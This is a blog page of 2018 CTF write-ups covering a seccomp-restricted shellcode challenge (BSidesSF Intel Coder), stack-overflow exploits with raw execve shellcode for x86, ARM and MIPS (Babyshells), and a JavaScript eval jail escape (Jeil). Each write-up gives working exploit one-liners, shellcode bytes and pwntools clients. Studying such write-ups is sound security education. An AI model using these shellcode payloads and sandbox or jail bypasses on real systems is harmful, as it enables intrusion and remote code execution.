Showing posts with label babysfirst. Show all posts
Showing posts with label babysfirst. Show all posts

Wednesday, April 25, 2018

BSidesSF CTF 2018 - Intel Coder (200)


This challenge was like a "baby's first" x86 challenge, with a couple small twists.

First if we run it we can get a segfault quickly (looks like it will just run our shellcode):

$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1]    6014 segmentation fault (core dumped)  ./coder

The statement "Setting up sandbox." sounds interesting, we should probably investigate that.

Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:


This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.

Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:


We could analyze this manually, but it would be a lot nicer to use seccomp-tools:

$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0d 0x00 0x00000003  if (A == close) goto 0018
 0005: 0x15 0x0c 0x00 0x0000000f  if (A == rt_sigreturn) goto 0018
 0006: 0x15 0x0b 0x00 0x00000028  if (A == sendfile) goto 0018
 0007: 0x15 0x0a 0x00 0x0000003c  if (A == exit) goto 0018
 0008: 0x15 0x09 0x00 0x000000e7  if (A == exit_group) goto 0018
 0009: 0x15 0x00 0x09 0x00000002  if (A != open) goto 0019
 0010: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0011: 0x15 0x00 0x07 0x00007f35  if (A != 0x7f35) goto 0019
 0012: 0x20 0x00 0x00 0x00000010  A = args[0]
 0013: 0x15 0x00 0x05 0x5e303428  if (A != 0x5e303428) goto 0019
 0014: 0x20 0x00 0x00 0x0000001c  A = args[1] >> 32
 0015: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0019
 0016: 0x20 0x00 0x00 0x00000018  A = args[1]
 0017: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.

We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.

Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.

At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':


So now we know our shellcode should have the following constraints:
  • 64 bit
  • use open with the argument './flag.txt'
  • use sendfile to read & write after open

This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:

$ checksec coder
[*] './coder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

We can setup a very simple client to check out the state of registers once it executes our shellcode:

#!/usr/bin/env python
from pwn import *

if args.LOCAL:
  p = process(['./coder'])
else:
  p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)

context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')

payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)

p.sendline(payload)
p.interactive()

Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:

$ python client.py LOCAL
...
[──────────────────────────────────REGISTERS──────────────────────────────────]
*RAX  0x7fc5de64f000 <— 0xcccccccccccccccc
*RBX  0x0
*RCX  0x7fc5de652fe0 <— 0
*RDX  0x7fc5de449190 <— mov    rsp, rsi
*RDI  0x7fc5de64f000 <— 0xcccccccccccccccc
*RSI  0x7fc5de652fe0 <— 0
*R8   0x7fc5df54e000 <— 0x0
*R9   0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0
*R10  0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0
*R11  0x246
*R12  0x7fc5de4487d0 <— xor    ebp, ebp
*R13  0x7fffa312c570 <— 0x1
*R14  0x0
*R15  0x0
*RBP  0x7fffa312c490 <— 0x0
*RSP  0x7fc5de652fe0 <— 0
*RIP  0x7fc5de64f001 <— 0xcccccccccccccccc
[───────────────────────────────────DISASM────────────────────────────────────]
   0x7fc5de64f000    int3
 ► 0x7fc5de64f001    int3

The assembly instructions in RDX look very familiar from previous reversing.  Looking at the positive flow after the seccomp rules are setup, this function is called:


We can verify the next instruction of RDX is 'jmp rdi' as well:

pwndbg> x/2i 0x7fc5de449190
   0x7fc5de449190:      mov    rsp,rsi
   0x7fc5de449193:      jmp    rdi

Remember the flag was @ 0x2b428.  Subtracting this from the offset of the instruction above to get the required amount to add to RDX:

pwndbg> p/x 0x2b428 - 0x22190
$1 = 0x9298

pwndbg> x/s $rdx + 0x9298
0x7fc5de452428: "./flag.txt"

Now we can write a small amount of assembly to take care of this before we reach the open syscall:

add rdx, 0x9298
mov rax, rdx

Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:

o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)

This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode.  Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.

Putting this all together we get a client that looks something like this:


Running this client against the CTF server, we get a flag!

$ python client.py NOPTRACE

flag:i_can_haz_shellcodez

If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out @matir's excellent post! - https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html

Monday, April 23, 2018

Midnight Sun CTF Quals 2018 - Babyshells & Jeil



This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!

Here are the challenges from the competition:



First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.


Babyshells


Description:

If you hold a babyshell close to your ear, you can hear a stack getting smashed

Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera

This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.

Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.

Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!



Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):

$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP  0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40

$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---

Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.

Starting with one for x86, we get our first shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_

We have our flag chunk, now let's go onto the next architecture - arm.

The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.

The same payload with shellcode specific to arm also popped a shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm


Same story with mips (it took a while to find a working payload for this one):

(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}

All of the flag chunks together turned out to be the final flag:

midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}


Jeil


Description:

You are awesome at breaking into stuff, how about breaking out?

Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn


So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.

This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js

An easy way to test this script out is to use Node.js.

To run it, just call the js file with Node (after installing the dependency readline):

$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: AAAA
Unrecognized code.

readline.js:1021
            throw err;
            ^
123


With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:


Character black list:

if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
  console.log("Unrecognized code.");
  throw 123;
  return;
}

Input length is not equal to 32:

if(!(code.length == 32)){
  console.log("Incorrect code length.");
  throw 123;
  return;
}

Evaluated code with "this.secretFuncUnguessable" prepended is not a function:

ret = eval("this.secretFuncUnguessable"+code);

if(typeof ret == "function"){
  if(ret.call(this,'foo', 'bar', 'baz') === true){
      console.log("FLAG{F4k3_Fl4g!!!}");
  }else{
      console.log("Incorrect code.");
  }
}else{
  console.log("Incorrect code.");
}
throw 123;


To reiterate the rules we need to pass for our payload:

  • needs to be exactly 32 bytes
  • chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
  • evaluated "this.secretFuncUnguessable" + code must be a function type

The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.

We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "".  We can use that assumption to our advantage by starting with the or operator in JavaScript.  this will return the second value (our code) if the first is undefined.  Here's a simple example:

> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'

It's also easy to create a function in later versions of node without braces using the arrow function:

> () => 123
[Function]

We can create a simple function which returns true by comparing 1 against itself:

> (()=>1==1)()
true

Now we have a working payload, we just need to add some padding to make it 32 bytes:

> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true

With the padding:

||(()=>11111111111==11111111111)


There are many other variations that could be created such as:

||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())


Now if we try this against the sample server we get the fake flag!

$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}


When this is run against the CTF server, we get the actual flag:

$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}